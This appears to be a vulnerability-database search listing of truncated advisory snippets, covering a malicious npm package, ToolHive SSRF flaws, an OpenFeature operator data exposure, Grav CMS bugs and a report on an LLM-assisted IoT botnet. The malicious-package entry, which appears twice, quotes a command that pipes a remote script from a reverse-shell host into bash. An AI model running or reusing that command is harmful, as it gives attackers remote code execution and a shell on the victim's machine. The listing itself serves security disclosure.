1156058 matches found
MAL-2026-10691 Malicious code in internallib_v907 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...
Malicious code in internallib_v907 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...
ToolHive: SSRF in remote MCP server authentication discovery (host-side, bypasses container isolation)
Security Advisory: SSRF in remote MCP server authentication discovery Severity: High. CWE: CWE-918. Affected: ToolHive through the latest release v0.29.3 and current main HEAD b672d82f, 2026-06-12; re-verified 2026-06-14. FetchResourceMetadata and the discovery clients remain unguarded; no commit...
GHSA-PR64-JMMF-JP54 ToolHive: SSRF in remote MCP server authentication discovery (host-side, bypasses container isolation)
Security Advisory: SSRF in remote MCP server authentication discovery Severity: High. CWE: CWE-918. Affected: ToolHive through the latest release v0.29.3 and current main HEAD b672d82f, 2026-06-12; re-verified 2026-06-14. FetchResourceMetadata and the discovery clients remain unguarded; no commit...
CVE-2026-54495
CVE-2026-54495 is not just a reserved placeholder; the related GHSA advisory describes a vulnerability in the OpenFeature Open Feature Operator where cross-namespace resolution of a FeatureFlagSource or InProcessConfiguration can lead to tenant-to-tenant disclosure of data. Specifically, a tenant...
open-feature-operator: Cross-namespace FeatureFlagSource and InProcessConfiguration resolution exposes spec contents on multi-tenant clusters
Summary A namespaced FeatureFlagSource or InProcessConfiguration resource can be referenced cross-namespace via the openfeature.dev/featureflagsource annotation using the documented NAMESPACE/NAME syntax. The operator resolves the referenced resource cluster-wide and materializes its contents env...
GHSA-398H-7F66-3H4P open-feature-operator: Cross-namespace FeatureFlagSource and InProcessConfiguration resolution exposes spec contents on multi-tenant clusters
Summary A namespaced FeatureFlagSource or InProcessConfiguration resource can be referenced cross-namespace via the openfeature.dev/featureflagsource annotation using the documented NAMESPACE/NAME syntax. The operator resolves the referenced resource cluster-wide and materializes its contents env...
GHSA-PPH6-VFJV-VPJW ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway
Summary ToolHive's hand-rolled private/reserved-IP SSRF guard networking.IsPrivateIP in pkg/networking/utilities.go does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 RFC 6052 and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as...
ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway
Summary ToolHive's hand-rolled private/reserved-IP SSRF guard networking.IsPrivateIP in pkg/networking/utilities.go does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 RFC 6052 and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as...
GHSA-Q3FV-X8VG-QQM4 vulnerabilities
Vulnerabilities for packages: trivy-operator...
CVE-2026-54448 vulnerabilities
Vulnerabilities for packages: trivy-operator...
GHSA-Q3FV-X8VG-QQM4 vulnerabilities
Vulnerabilities for packages: cloudbeat-fips, trivy-operator-fips, cloudbeat, trivy-operator...
CVE-2026-54448 vulnerabilities
Vulnerabilities for packages: cloudbeat-fips, trivy-operator-fips, cloudbeat, trivy-operator...
TuxBot v3 Evolution Shows Signs of LLM-Assisted IoT Botnet Development
Cybersecurity researchers have disclosed details of a previously unreported Internet-of-Things IoT botnet framework dubbed TuxBot v3 Evolution that shows signs of being developed with assistance from a large language model LLM, albeit with not so successful results. "While the AI complied with...
Exploit for CVE-2026-53359
AlmaLinux 9.5 — Mitigasi Januscape CVE-2026-53359 & Bad Epol...
Improper Handling of Highly Compressed Data (Data Amplification)
Overview getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS. Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data Data Amplification via the ZipArchiver and GPM\Installer process. An attacker can exhaust disk spa...
Exploit for Deserialization of Untrusted Data in Apache Camel
camel-pqc Key-Lifecycle Unsafe Deserialization Reproducer CVE...
Important: Red Hat Security Advisory: Cost Management Metrics Operator Update
Cost Management Metrics Operator version 4.4.2 release. The Cost Management Metrics Operator is a component of the Red Hat Cost Managment service for Openshift. The operator runs on the latest supported versions of Openshift. This operator obtains OpenShift usage data by querying Prometheus every...
CVE-2026-61453
Grav v2.0.0 contains a cross-site scripting vulnerability fixed in 2.0.1. The XSS blueprint validator Security::detectXss runs on raw page content before Twig processing. When Twig content processing is enabled twigcontent.processenabled: true, an attacker with page-write API permission can use...
CVE-2026-61449
Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header ZipArchive::statIndex'size' and rejects archives exceeding...